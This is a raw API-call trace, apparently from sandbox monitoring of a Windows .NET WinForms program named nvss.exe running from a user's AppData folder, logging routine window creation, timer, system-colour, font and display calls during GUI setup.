0x1120000 [0063.173] GetClassInfoW (in: hInstance=0x1120000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.2bf8098.0", lpWndClass=0x25d19c4 | out: lpWndClass=0x25d19c4) returned 0 [0063.174] CoTaskMemAlloc (cb=0x58) returned 0x1bf5f8 [0063.174] RegisterClassW (lpWndClass=0x3aea30) returned 0xc1bb [0063.174] CoTaskMemFree (pv=0x1bf5f8) [0063.175] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.2bf8098.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.2bf8098.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x1120000, lpParam=0x0) returned 0x20230 [0063.175] NtdllDefWindowProc_W () returned 0x0 [0063.175] NtdllDefWindowProc_W () returned 0x0 [0063.176] NtdllDefWindowProc_W () returned 0x0 [0063.176] NtdllDefWindowProc_W () returned 0x0 [0063.176] GetSysColor (nIndex=10) returned 0xb4b4b4 [0063.177] GetSysColor (nIndex=2) returned 0xd1b499 [0063.177] GetSysColor (nIndex=9) returned 0x0 [0063.177] GetSysColor (nIndex=12) returned 0xababab [0063.177] GetSysColor (nIndex=15) returned 0xf0f0f0 [0063.177] GetSysColor (nIndex=20) returned 0xffffff [0063.177] GetSysColor (nIndex=16) returned 0xa0a0a0 [0063.177] GetSysColor (nIndex=15) returned 0xf0f0f0 [0063.177] GetSysColor (nIndex=16) returned 0xa0a0a0 [0063.177] GetSysColor (nIndex=21) returned 0x696969 [0063.177] GetSysColor (nIndex=22) returned 0xe3e3e3 [0063.177] GetSysColor (nIndex=20) returned 0xffffff [0063.177] GetSysColor (nIndex=18) returned 0x0 [0063.177] GetSysColor (nIndex=1) returned 0x0 [0063.177] GetSysColor (nIndex=27) returned 0xead1b9 [0063.177] GetSysColor (nIndex=28) returned 0xf2e4d7 [0063.177] GetSysColor (nIndex=17) returned 0x6d6d6d [0063.177] GetSysColor (nIndex=13) returned 0xff9933 [0063.177] GetSysColor (nIndex=14) returned 0xffffff [0063.177] GetSysColor (nIndex=26) returned 0xcc6600 [0063.177] GetSysColor (nIndex=11) returned 0xfcf7f4 [0063.177] GetSysColor (nIndex=3) returned 0xdbcdbf [0063.177] GetSysColor (nIndex=19) returned 0x544e43 [0063.177] GetSysColor (nIndex=24) returned 0xe1ffff [0063.177] GetSysColor (nIndex=23) returned 0x0 [0063.177] GetSysColor (nIndex=4) returned 0xf0f0f0 [0063.177] GetSysColor (nIndex=30) returned 0xf0f0f0 [0063.177] GetSysColor (nIndex=29) returned 0xff9933 [0063.177] GetSysColor (nIndex=7) returned 0x0 [0063.177] GetSysColor (nIndex=0) returned 0xc8c8c8 [0063.177] GetSysColor (nIndex=5) returned 0xffffff [0063.177] GetSysColor (nIndex=6) returned 0x646464 [0063.177] GetSysColor (nIndex=8) returned 0x0 [0063.184] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.184] AdjustWindowRectEx (in: lpRect=0x3aec00, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec00) returned 1 [0063.186] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.186] AdjustWindowRectEx (in: lpRect=0x3aec00, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec00) returned 1 [0063.186] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.186] AdjustWindowRectEx (in: lpRect=0x3aec00, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec00) returned 1 [0063.186] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.186] AdjustWindowRectEx (in: lpRect=0x3aec00, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec00) returned 1 [0063.186] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.186] AdjustWindowRectEx (in: lpRect=0x3aec00, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec00) returned 1 [0063.187] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.187] AdjustWindowRectEx (in: lpRect=0x3aebe4, dwStyle=0x56210242, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3aebe4) returned 1 [0063.187] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.187] AdjustWindowRectEx (in: lpRect=0x3aebe4, dwStyle=0x56210242, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3aebe4) returned 1 [0063.187] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.187] AdjustWindowRectEx (in: lpRect=0x3aec00, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec00) returned 1 [0063.188] GetStockObject (i=5) returned 0x1900015 [0063.189] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0063.189] CoTaskMemAlloc (cb=0x5c) returned 0x1c7e20 [0063.189] RegisterClassW (lpWndClass=0x3aeaf0) returned 0xc1bc [0063.189] CoTaskMemFree (pv=0x1c7e20) [0063.189] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0063.189] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.0.app.0.2bf8098_r13_ad1", lpWindowName="TimerNativeWindow", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x1120000, lpParam=0x0) returned 0x2022c [0063.189] SetWindowLongW (hWnd=0x2022c, nIndex=-4, dwNewLong=2005738973) returned 7342362 [0063.189] GetWindowLongW (hWnd=0x2022c, nIndex=-4) returned 2005738973 [0063.189] SetWindowLongW (hWnd=0x2022c, nIndex=-4, dwNewLong=7342410) returned 2005738973 [0063.189] GetWindowLongW (hWnd=0x2022c, nIndex=-4) returned 7342410 [0063.189] GetWindowLongW (hWnd=0x2022c, nIndex=-16) returned 79691776 [0063.189] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x2022c, Msg=0x24, wParam=0x0, lParam=0x3ae6dc) returned 0x0 [0063.189] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x2022c, Msg=0x81, wParam=0x0, lParam=0x3ae6d0) returned 0x1 [0063.189] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x2022c, Msg=0x83, wParam=0x0, lParam=0x3ae6bc) returned 0x0 [0063.190] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x2022c, Msg=0x1, wParam=0x0, lParam=0x3ae6d0) returned 0x0 [0063.193] SetTimer (hWnd=0x2022c, nIDEvent=0x1, uElapse=0x64, lpTimerFunc=0x0) returned 0x1 [0063.193] GetWindowThreadProcessId (in: hWnd=0x2022c, lpdwProcessId=0x3aec24 | out: lpdwProcessId=0x3aec24) returned 0xa94 [0063.193] GetCurrentThreadId () returned 0xa94 [0063.193] IsWindow (hWnd=0x2022c) returned 1 [0063.193] KillTimer (hWnd=0x2022c, uIDEvent=0x1) returned 1 [0063.193] SetTimer (hWnd=0x2022c, nIDEvent=0x2, uElapse=0x19a8c, lpTimerFunc=0x0) returned 0x2 [0063.194] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.194] AdjustWindowRectEx (in: lpRect=0x3aec00, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec00) returned 1 [0063.194] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.194] AdjustWindowRectEx (in: lpRect=0x3aec00, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec00) returned 1 [0063.195] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.195] AdjustWindowRectEx (in: lpRect=0x3aec00, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec00) returned 1 [0063.195] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.195] AdjustWindowRectEx (in: lpRect=0x3aebe4, dwStyle=0x56210242, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3aebe4) returned 1 [0063.195] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.195] AdjustWindowRectEx (in: lpRect=0x3aebe4, dwStyle=0x56210242, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3aebe4) returned 1 [0063.195] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.195] AdjustWindowRectEx (in: lpRect=0x3aec00, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec00) returned 1 [0063.195] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.195] AdjustWindowRectEx (in: lpRect=0x3aec00, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec00) returned 1 [0063.196] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.196] AdjustWindowRectEx (in: lpRect=0x3aec00, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec00) returned 1 [0063.196] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.196] AdjustWindowRectEx (in: lpRect=0x3aec00, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aec00) returned 1 [0063.196] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.196] AdjustWindowRectEx (in: lpRect=0x3aebe4, dwStyle=0x56210242, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3aebe4) returned 1 [0063.196] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.196] AdjustWindowRectEx (in: lpRect=0x3aebe4, dwStyle=0x56210242, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3aebe4) returned 1 [0063.196] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.196] AdjustWindowRectEx (in: lpRect=0x3aec34, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3aec34) returned 1 [0063.197] GetSystemMetrics (nIndex=59) returned 1460 [0063.197] GetSystemMetrics (nIndex=60) returned 920 [0063.197] GetSystemMetrics (nIndex=34) returned 132 [0063.197] GetSystemMetrics (nIndex=35) returned 38 [0063.197] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0063.197] AdjustWindowRectEx (in: lpRect=0x3aeb34, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3aeb34) returned 1 [0063.197] GetCurrentThreadId () returned 0xa94 [0063.197] GetCurrentThreadId () returned 0xa94 [0063.197] GetCurrentThreadId () returned 0xa94 [0063.197] GetCurrentThreadId () returned 0xa94 [0063.197] GetCurrentThreadId () returned 0xa94 [0063.197] GetCurrentThreadId () returned 0xa94 [0063.197] GetCurrentThreadId () returned 0xa94 [0063.197] GetCurrentThreadId () returned 0xa94 [0063.197] GetCurrentThreadId () returned 0xa94 [0063.197] GetCurrentThreadId () returned 0xa94 [0063.197] GetCurrentThreadId () returned 0xa94 [0063.197] GetCurrentThreadId () returned 0xa94 [0063.197] GetCurrentThreadId () returned 0xa94 [0063.197] GetCurrentThreadId () returned 0xa94 [0063.197] GetCurrentThreadId () returned 0xa94 [0063.198] GetCurrentThreadId () returned 0xa94 [0063.198] GetCurrentThreadId () returned 0xa94 [0063.198] GetCurrentThreadId () returned 0xa94 [0063.198] GetCurrentThreadId () returned 0xa94 [0063.198] GetCurrentThreadId () returned 0xa94 [0063.198] GetCurrentThreadId () returned 0xa94 [0063.198] GetCurrentThreadId () returned 0xa94 [0063.198] GetCurrentThreadId () returned 0xa94 [0063.198] GetCurrentThreadId () returned 0xa94 [0063.198] GetCurrentThreadId () returned 0xa94 [0063.198] GetCurrentThreadId () returned 0xa94 [0063.199] GetCurrentThreadId () returned 0xa94 [0063.199] GetCurrentThreadId () returned 0xa94 [0063.199] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe.config", nBufferLength=0x105, lpBuffer=0x3ae550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe.config", lpFilePart=0x0) returned 0x31 [0063.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ae9d4) returned 1 [0063.200] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe.config" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\nvss.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x3aea50 | out: lpFileInformation=0x3aea50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0063.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ae9d0) returned 1 [0064.137] GetSystemMetrics (nIndex=11) returned 32 [0064.137] GetSystemMetrics (nIndex=12) returned 32 [0064.137] GetDC (hWnd=0x0) returned 0x180107ac [0064.137] GetDeviceCaps (hdc=0x180107ac, index=12) returned 32 [0064.137] GetDeviceCaps (hdc=0x180107ac, index=14) returned 1 [0064.137] ReleaseDC (hWnd=0x0, hDC=0x180107ac) returned 1 [0064.139] CreateIconFromResourceEx (presbits=0x25e5970, dwResSize=0x10a8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0xb0239 [0064.151] CreateCompatibleDC (hdc=0x0) returned 0x4b0107ad [0064.152] GetDC (hWnd=0x0) returned 0x180107ac [0064.152] GdipCreateFromHDC (hdc=0x180107ac, graphics=0x3aea70) returned 0x0 [0064.152] CoTaskMemAlloc (cb=0x5c) returned 0x1c7e20 [0064.152] GdipGetLogFontW (font=0x4ba08c0, graphics=0x4ba1580, logfontW=0x1c7e20) returned 0x0 [0064.152] CoTaskMemFree (pv=0x1c7e20) [0064.152] CoTaskMemAlloc (cb=0x5c) returned 0x1c7e20 [0064.152] CoTaskMemFree (pv=0x1c7e20) [0064.152] CoTaskMemAlloc (cb=0x5c) returned 0x1c7e20 [0064.152] CoTaskMemFree (pv=0x1c7e20) [0064.152] GdipDeleteGraphics (graphics=0x4ba1580) returned 0x0 [0064.152] ReleaseDC (hWnd=0x0, hDC=0x180107ac) returned 1 [0064.153] CoTaskMemAlloc (cb=0x5c) returned 0x1c7e20 [0064.153] CreateFontIndirectW (lplf=0x1c7e20) returned 0x2f0a0257 [0064.153] CoTaskMemFree (pv=0x1c7e20) [0064.153] SelectObject (hdc=0x4b0107ad, h=0x2f0a0257) returned 0x18a002e [0064.153] GetTextMetricsW (in: hdc=0x4b0107ad, lptm=0x3aeb80 | out: lptm=0x3aeb80) returned 1 [0064.153] GetTextExtentPoint32W (in: hdc=0x4b0107ad, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x25e770c | out: psizl=0x25e770c) returned 1 [0064.153] SelectObject (hdc=0x4b0107ad, h=0x18a002e) returned 0x2f0a0257 [0064.154] DeleteDC (hdc=0x4b0107ad) returned 1 [0064.159] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.160] AdjustWindowRectEx (in: lpRect=0x3ae8d0, dwStyle=0x2ce0000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x3ae8d0) returned 1 [0064.160] GetCursorPos (in: lpPoint=0x25e772c | out: lpPoint=0x25e772c*(x=473, y=376)) returned 1 [0064.161] GetSystemMetrics (nIndex=80) returned 1 [0064.175] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x3ae7bc | out: lpmi=0x3ae7bc) returned 1 [0064.175] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x4d0107ad [0064.175] GetDeviceCaps (hdc=0x4d0107ad, index=12) returned 32 [0064.175] GetDeviceCaps (hdc=0x4d0107ad, index=14) returned 1 [0064.175] DeleteDC (hdc=0x4d0107ad) returned 1 [0064.176] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x3ae80c | out: lpmi=0x3ae80c) returned 1 [0064.176] AdjustWindowRectEx (in: lpRect=0x3aeb0c, dwStyle=0x2ce0000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x3aeb0c) returned 1 [0064.176] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.176] AdjustWindowRectEx (in: lpRect=0x3ae840, dwStyle=0x2ce0000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x3ae840) returned 1 [0064.176] GetCursorPos (in: lpPoint=0x25e7a64 | out: lpPoint=0x25e7a64*(x=473, y=376)) returned 1 [0064.176] MonitorFromPoint (pt=0x1d9, dwFlags=0x178) returned 0x10001 [0064.176] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x3ae72c | out: lpmi=0x3ae72c) returned 1 [0064.176] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x4e0107ad [0064.176] GetDeviceCaps (hdc=0x4e0107ad, index=12) returned 32 [0064.176] GetDeviceCaps (hdc=0x4e0107ad, index=14) returned 1 [0064.176] DeleteDC (hdc=0x4e0107ad) returned 1 [0064.176] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x3ae77c | out: lpmi=0x3ae77c) returned 1 [0064.176] AdjustWindowRectEx (in: lpRect=0x3ae930, dwStyle=0x2ce0000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x3ae930) returned 1 [0064.177] GetSystemMetrics (nIndex=59) returned 1460 [0064.177] GetSystemMetrics (nIndex=60) returned 920 [0064.177] GetSystemMetrics (nIndex=34) returned 132 [0064.177] GetSystemMetrics (nIndex=35) returned 38 [0064.177] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.177] AdjustWindowRectEx (in: lpRect=0x3ae7d8, dwStyle=0x2ce0000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x3ae7d8) returned 1 [0064.177] GetCursorPos (in: lpPoint=0x25e7cd0 | out: lpPoint=0x25e7cd0*(x=473, y=376)) returned 1 [0064.177] MonitorFromPoint (pt=0x1d9, dwFlags=0x178) returned 0x10001 [0064.177] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x3ae6c4 | out: lpmi=0x3ae6c4) returned 1 [0064.177] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x4f0107ad [0064.177] GetDeviceCaps (hdc=0x4f0107ad, index=12) returned 32 [0064.177] GetDeviceCaps (hdc=0x4f0107ad, index=14) returned 1 [0064.177] DeleteDC (hdc=0x4f0107ad) returned 1 [0064.177] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x3ae714 | out: lpmi=0x3ae714) returned 1 [0064.177] AdjustWindowRectEx (in: lpRect=0x3ae8a4, dwStyle=0x2ce0000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x3ae8a4) returned 1 [0064.177] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.177] DrawTextExW (in: hdc=0x15010934, lpchText="j^", cchText=2, lprc=0x3ae81c, format=0x420, lpdtp=0x25e7f7c | out: lpchText="j^", lprc=0x3ae81c) returned 13 [0064.178] GdipGetFamilyName (in: family=0x4dbf6b8, name=0x3ae758, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0064.178] GetDeviceCaps (hdc=0x15010934, index=90) returned 96 [0064.178] CoTaskMemAlloc (cb=0x5c) returned 0x1c7e20 [0064.179] CreateFontIndirectW (lplf=0x1c7e20) returned 0x500a07ad [0064.179] CoTaskMemFree (pv=0x1c7e20) [0064.179] GetObjectW (in: h=0x500a07ad, c=92, pv=0x3ae720 | out: pv=0x3ae720) returned 92 [0064.186] GetTextExtentPoint32W (in: hdc=0x15010934, lpString="0", c=1, psizl=0x25e8150 | out: psizl=0x25e8150) returned 1 [0064.198] DeleteObject (ho=0x500a07ad) returned 1 [0064.204] GetSystemMetrics (nIndex=45) returned 2 [0064.204] GetSystemMetrics (nIndex=46) returned 2 [0064.205] GetSystemMetrics (nIndex=7) returned 3 [0064.205] GetSystemMetrics (nIndex=8) returned 3 [0064.205] AdjustWindowRectEx (in: lpRect=0x3aeaf4, dwStyle=0x56210242, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3aeaf4) returned 1 [0064.205] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.205] AdjustWindowRectEx (in: lpRect=0x3ae944, dwStyle=0x56210242, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3ae944) returned 1 [0064.205] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.205] AdjustWindowRectEx (in: lpRect=0x3ae8e4, dwStyle=0x56210242, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3ae8e4) returned 1 [0064.205] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.205] AdjustWindowRectEx (in: lpRect=0x3aeb04, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aeb04) returned 1 [0064.206] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.206] AdjustWindowRectEx (in: lpRect=0x3ae954, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae954) returned 1 [0064.206] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.206] AdjustWindowRectEx (in: lpRect=0x3ae910, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae910) returned 1 [0064.206] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.206] DrawTextExW (in: hdc=0x15010934, lpchText="j^", cchText=2, lprc=0x3ae81c, format=0x420, lpdtp=0x25e8250 | out: lpchText="j^", lprc=0x3ae81c) returned 13 [0064.206] GdipGetFamilyName (in: family=0x4dbf6b8, name=0x3ae758, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0064.206] GetDeviceCaps (hdc=0x15010934, index=90) returned 96 [0064.206] CoTaskMemAlloc (cb=0x5c) returned 0x1c7e20 [0064.206] CreateFontIndirectW (lplf=0x1c7e20) returned 0x510a07ad [0064.206] CoTaskMemFree (pv=0x1c7e20) [0064.206] GetObjectW (in: h=0x510a07ad, c=92, pv=0x3ae720 | out: pv=0x3ae720) returned 92 [0064.206] GetTextExtentPoint32W (in: hdc=0x15010934, lpString="0", c=1, psizl=0x25e8414 | out: psizl=0x25e8414) returned 1 [0064.206] DeleteObject (ho=0x510a07ad) returned 1 [0064.206] GetSystemMetrics (nIndex=45) returned 2 [0064.206] GetSystemMetrics (nIndex=46) returned 2 [0064.207] GetSystemMetrics (nIndex=7) returned 3 [0064.207] GetSystemMetrics (nIndex=8) returned 3 [0064.207] AdjustWindowRectEx (in: lpRect=0x3aeaf4, dwStyle=0x56210242, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3aeaf4) returned 1 [0064.207] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.207] AdjustWindowRectEx (in: lpRect=0x3ae944, dwStyle=0x56210242, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3ae944) returned 1 [0064.207] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.207] AdjustWindowRectEx (in: lpRect=0x3ae8e4, dwStyle=0x56210242, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3ae8e4) returned 1 [0064.207] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.207] AdjustWindowRectEx (in: lpRect=0x3aeb04, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aeb04) returned 1 [0064.207] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.207] AdjustWindowRectEx (in: lpRect=0x3ae954, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae954) returned 1 [0064.207] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.207] AdjustWindowRectEx (in: lpRect=0x3ae910, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae910) returned 1 [0064.207] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.207] AdjustWindowRectEx (in: lpRect=0x3aeb04, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aeb04) returned 1 [0064.207] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.207] AdjustWindowRectEx (in: lpRect=0x3ae954, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae954) returned 1 [0064.207] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.207] AdjustWindowRectEx (in: lpRect=0x3ae910, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae910) returned 1 [0064.208] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.208] AdjustWindowRectEx (in: lpRect=0x3aeb04, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aeb04) returned 1 [0064.208] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.208] AdjustWindowRectEx (in: lpRect=0x3ae954, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae954) returned 1 [0064.208] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.208] AdjustWindowRectEx (in: lpRect=0x3ae910, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae910) returned 1 [0064.208] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.208] AdjustWindowRectEx (in: lpRect=0x3aeb04, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aeb04) returned 1 [0064.208] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.208] AdjustWindowRectEx (in: lpRect=0x3ae954, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae954) returned 1 [0064.208] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.208] AdjustWindowRectEx (in: lpRect=0x3ae910, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae910) returned 1 [0064.208] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.208] AdjustWindowRectEx (in: lpRect=0x3aeb04, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aeb04) returned 1 [0064.208] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.208] AdjustWindowRectEx (in: lpRect=0x3ae954, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae954) returned 1 [0064.208] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.209] AdjustWindowRectEx (in: lpRect=0x3ae910, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae910) returned 1 [0064.209] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.209] AdjustWindowRectEx (in: lpRect=0x3aeb04, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aeb04) returned 1 [0064.209] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.209] AdjustWindowRectEx (in: lpRect=0x3ae954, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae954) returned 1 [0064.209] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.209] AdjustWindowRectEx (in: lpRect=0x3ae910, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae910) returned 1 [0064.209] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.209] DrawTextExW (in: hdc=0x15010934, lpchText="j^", cchText=2, lprc=0x3ae81c, format=0x420, lpdtp=0x25e8770 | out: lpchText="j^", lprc=0x3ae81c) returned 13 [0064.209] GdipGetFamilyName (in: family=0x4dbf6b8, name=0x3ae758, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0064.209] GetDeviceCaps (hdc=0x15010934, index=90) returned 96 [0064.209] CoTaskMemAlloc (cb=0x5c) returned 0x1c7e20 [0064.209] CreateFontIndirectW (lplf=0x1c7e20) returned 0x520a07ad [0064.210] CoTaskMemFree (pv=0x1c7e20) [0064.210] GetObjectW (in: h=0x520a07ad, c=92, pv=0x3ae720 | out: pv=0x3ae720) returned 92 [0064.210] GetTextExtentPoint32W (in: hdc=0x15010934, lpString="0", c=1, psizl=0x25e8934 | out: psizl=0x25e8934) returned 1 [0064.210] DeleteObject (ho=0x520a07ad) returned 1 [0064.210] GetSystemMetrics (nIndex=45) returned 2 [0064.210] GetSystemMetrics (nIndex=46) returned 2 [0064.210] GetSystemMetrics (nIndex=7) returned 3 